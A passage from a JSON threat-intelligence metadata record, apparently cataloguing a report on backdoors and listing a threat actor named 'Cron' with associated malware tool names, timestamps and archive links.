http://www.ouah.org/backdoors.html\r\nhttp://www.ouah.org/backdoors.html\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"http://www.ouah.org/backdoors.html"
	],
	"report_names": [
		"backdoors.html"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439128,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4bcaa0ea749e55f9e9d29669df670aa5c4f7e569.pdf",
		"text": "https://archive.orkl.eu/4bcaa0ea749e55f9e9d29669df670aa5c4f7e569.txt",
		"img": "https://archive.orkl.eu/4bcaa0ea749e55f9e9d29669df670aa5c4f7e569.jpg"
	}
}